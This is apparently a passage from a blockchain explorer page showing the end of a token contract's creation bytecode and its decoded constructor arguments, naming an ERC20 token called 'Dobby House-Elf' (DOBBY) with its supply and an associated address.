201610b5e565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610bb257600080fd5b919050565b60008060408385031215610bca57600080fd5b610bd383610b9b565b946020939093013593505050565b600080600060608486031215610bf657600080fd5b610bff84610b9b565b9250610c0d60208501610b9b565b9150604084013590509250925092565b600060208284031215610c2f57600080fd5b5035919050565b600060208284031215610c4857600080fd5b6105cd82610b9b565b60008060408385031215610c6457600080fd5b610c6d83610b9b565b9150610c7b60208401610b9b565b90509250929050565b600181811c90821680610c9857607f821691505b6020821081036108c757634e487b7160e01b600052602260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b818103818111156102e8576102e8610cb8565b808201808211156102e8576102e8610cb8565b634e487b7160e01b600052602160045260246000fdfe4945524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654945524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122023a97c0ba4b2cc2ea371a474674988fc04f03b183097ed4fcbeebfb990077aa264736f6c63430008120033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000056c79103d5a2654cedd0c43634910a8f44d0e8f90000000000000000000000000000000000000000000000000000000179e4b900000000000000000000000000000000000000000000000000000000000000000f446f62627920486f7573652d456c6600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005444f424259000000000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : tokenName_ (string): Dobby House-Elf
Arg [1] : tokenSymbol_ (string): DOBBY
Arg [2] : token_ (address): 0x56C79103d5A2654cEDd0C43634910A8F44D0E8F9
Arg [3] : tokenTotalSupply_ (uint256): 6340000000
-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 00000000000000000000000056c79103d5a2654cedd0c43634910a8f44d0e8f9
Arg [3] : 0000000000000000000000000000000000000000000000000000000179e4b900
Arg [4] : 000000000000000000000000000000000000000000000000000000000000000f
Arg [5] : 446f62627920486f7573652d456c660000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [7] : 444f424259000000000000000000000000000000000000000000000000000000
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.